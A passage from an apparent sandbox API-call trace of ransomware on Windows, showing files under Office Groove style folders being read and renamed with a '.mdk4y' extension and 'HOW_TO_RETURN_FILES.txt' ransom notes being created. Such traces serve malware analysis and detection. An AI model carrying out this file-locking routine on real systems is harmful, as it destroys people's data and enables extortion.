CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tab_on.gif", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="tab_on.giff", lpUsedDefaultChar=0x37dc90) returned 10 [0217.913] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829314400000) returned 1 [0217.914] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xde, lpOverlapped=0x0) returned 1 [0217.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829314500000) returned 1 [0217.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829314500000) returned 1 [0217.915] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\tab_on.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\tab_on.gif.mdk4y")) returned 1 [0217.925] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0217.925] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0217.926] AreFileApisANSI () returned 1 [0217.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 128 [0217.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0217.927] GetFileType (hFile=0x134) returned 0x1 [0217.928] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.928] AreFileApisANSI () returned 1 [0217.928] GetACP () returned 0x4e4 [0217.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SoftBlue.css", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="SoftBlue.csss", lpUsedDefaultChar=0x37dd1c) returned 12 [0217.928] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829315800000) returned 1 [0217.928] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xe34, lpOverlapped=0x0) returned 1 [0217.930] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829316000000) returned 1 [0217.930] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829316000000) returned 1 [0217.930] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue.css.mdk4y")) returned 1 [0217.931] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.931] AreFileApisANSI () returned 1 [0217.931] GetACP () returned 0x4e4 [0217.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SpringGreen", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="SpringGreens", lpUsedDefaultChar=0x37dd1c) returned 11 [0217.931] AreFileApisANSI () returned 1 [0217.931] GetACP () returned 0x4e4 [0217.931] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=107, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\") returned 107 [0217.931] AreFileApisANSI () returned 1 [0217.931] GetACP () returned 0x4e4 [0217.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0217.931] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.931] AreFileApisANSI () returned 1 [0217.931] GetACP () returned 0x4e4 [0217.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0217.931] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.931] AreFileApisANSI () returned 1 [0217.931] GetACP () returned 0x4e4 [0217.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BUTTON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="BUTTON.GIFs", lpUsedDefaultChar=0x37dc90) returned 10 [0217.931] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\button.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.932] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829316200000) returned 1 [0217.932] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x1ac, lpOverlapped=0x0) returned 1 [0217.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829316300000) returned 1 [0217.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829316300000) returned 1 [0217.933] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\button.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\BUTTON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\button.gif.mdk4y")) returned 1 [0217.935] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.935] AreFileApisANSI () returned 1 [0217.935] GetACP () returned 0x4e4 [0217.935] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0217.935] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.936] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829316600000) returned 1 [0217.936] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x155, lpOverlapped=0x0) returned 1 [0217.936] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829316600000) returned 1 [0217.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829316600000) returned 1 [0217.937] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\tab_off.gif.mdk4y")) returned 1 [0217.944] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.944] AreFileApisANSI () returned 1 [0217.944] GetACP () returned 0x4e4 [0217.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0217.944] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829317500000) returned 1 [0217.945] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xde, lpOverlapped=0x0) returned 1 [0217.946] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829317600000) returned 1 [0217.946] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829317600000) returned 1 [0217.946] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\tab_on.gif.mdk4y")) returned 1 [0217.947] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0217.947] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0217.948] AreFileApisANSI () returned 1 [0217.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 131 [0217.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0217.948] GetFileType (hFile=0x134) returned 0x1 [0217.950] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.950] AreFileApisANSI () returned 1 [0217.950] GetACP () returned 0x4e4 [0217.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SpringGreen.css", cchWideChar=15, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="SpringGreen.css", lpUsedDefaultChar=0x37dd1c) returned 15 [0217.950] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829318000000) returned 1 [0217.950] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xc3a, lpOverlapped=0x0) returned 1 [0217.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829318200000) returned 1 [0217.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829318200000) returned 1 [0217.952] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen.css.mdk4y")) returned 1 [0217.953] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.953] AreFileApisANSI () returned 1 [0217.953] GetACP () returned 0x4e4 [0217.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sts.css", cchWideChar=7, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Sts.cssreen.css", lpUsedDefaultChar=0x37dd1c) returned 7 [0217.953] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.954] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829318400000) returned 1 [0217.954] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x736, lpOverlapped=0x0) returned 1 [0217.964] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829319400000) returned 1 [0217.964] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829319400000) returned 1 [0217.965] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts.css.mdk4y")) returned 1 [0217.966] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.966] AreFileApisANSI () returned 1 [0217.966] GetACP () returned 0x4e4 [0217.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STS2", cchWideChar=4, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="STS2css", lpUsedDefaultChar=0x37dd1c) returned 4 [0217.966] AreFileApisANSI () returned 1 [0217.966] GetACP () returned 0x4e4 [0217.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=100, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\\x02Ȁ") returned 100 [0217.967] AreFileApisANSI () returned 1 [0217.967] GetACP () returned 0x4e4 [0217.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0217.967] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.967] AreFileApisANSI () returned 1 [0217.967] GetACP () returned 0x4e4 [0217.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0217.967] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.967] AreFileApisANSI () returned 1 [0217.967] GetACP () returned 0x4e4 [0217.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="background.gif", cchWideChar=14, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="background.gifM", lpUsedDefaultChar=0x37dc90) returned 14 [0217.967] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\background.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829319800000) returned 1 [0217.968] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xe9, lpOverlapped=0x0) returned 1 [0217.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829319900000) returned 1 [0217.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829319900000) returned 1 [0217.969] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\background.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\background.gif.mdk4y")) returned 1 [0217.970] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.970] AreFileApisANSI () returned 1 [0217.970] GetACP () returned 0x4e4 [0217.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="header.gif", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="header.gif.gif", lpUsedDefaultChar=0x37dc90) returned 10 [0217.971] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\header.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829320100000) returned 1 [0217.971] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xcbd, lpOverlapped=0x0) returned 1 [0217.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829320600000) returned 1 [0217.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829320600000) returned 1 [0217.977] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\header.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\header.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\header.gif.mdk4y")) returned 1 [0217.978] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.978] AreFileApisANSI () returned 1 [0217.978] GetACP () returned 0x4e4 [0217.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tab_off.gif", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="tab_off.gifgif", lpUsedDefaultChar=0x37dc90) returned 11 [0217.978] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.979] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829320900000) returned 1 [0217.979] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x1ce, lpOverlapped=0x0) returned 1 [0217.979] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829320900000) returned 1 [0217.979] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829320900000) returned 1 [0217.980] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\tab_off.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\tab_off.gif.mdk4y")) returned 1 